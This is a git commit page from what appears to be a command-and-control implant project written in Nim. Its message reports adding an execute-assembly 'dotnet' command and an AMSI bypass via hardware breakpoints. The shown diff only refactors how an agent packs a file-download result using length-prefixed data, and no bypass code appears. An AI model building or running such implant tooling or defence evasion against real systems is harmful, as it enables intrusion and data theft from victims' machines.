Implemented 'dotnet' command for execute-assembly functionality. Patched AMSI using HWBP

This commit is contained in:
Jakob Friedl
2025-09-13 11:47:19 +02:00
parent 9b94a06ce9
commit 94f2f8121c
10 changed files with 338 additions and 27 deletions

View File

@@ -52,10 +52,8 @@ when defined(agent):
# Create result packet for file download
var packer = Packer.init()
packer.add(uint32(filePath.len()))
packer.addData(string.toBytes(filePath))
packer.add(uint32(fileBytes.len()))
packer.addData(string.toBytes(fileBytes))
packer.addDataWithLengthPrefix(string.toBytes(filePath))
packer.addDataWithLengthPrefix(string.toBytes(fileBytes))
let result = packer.pack()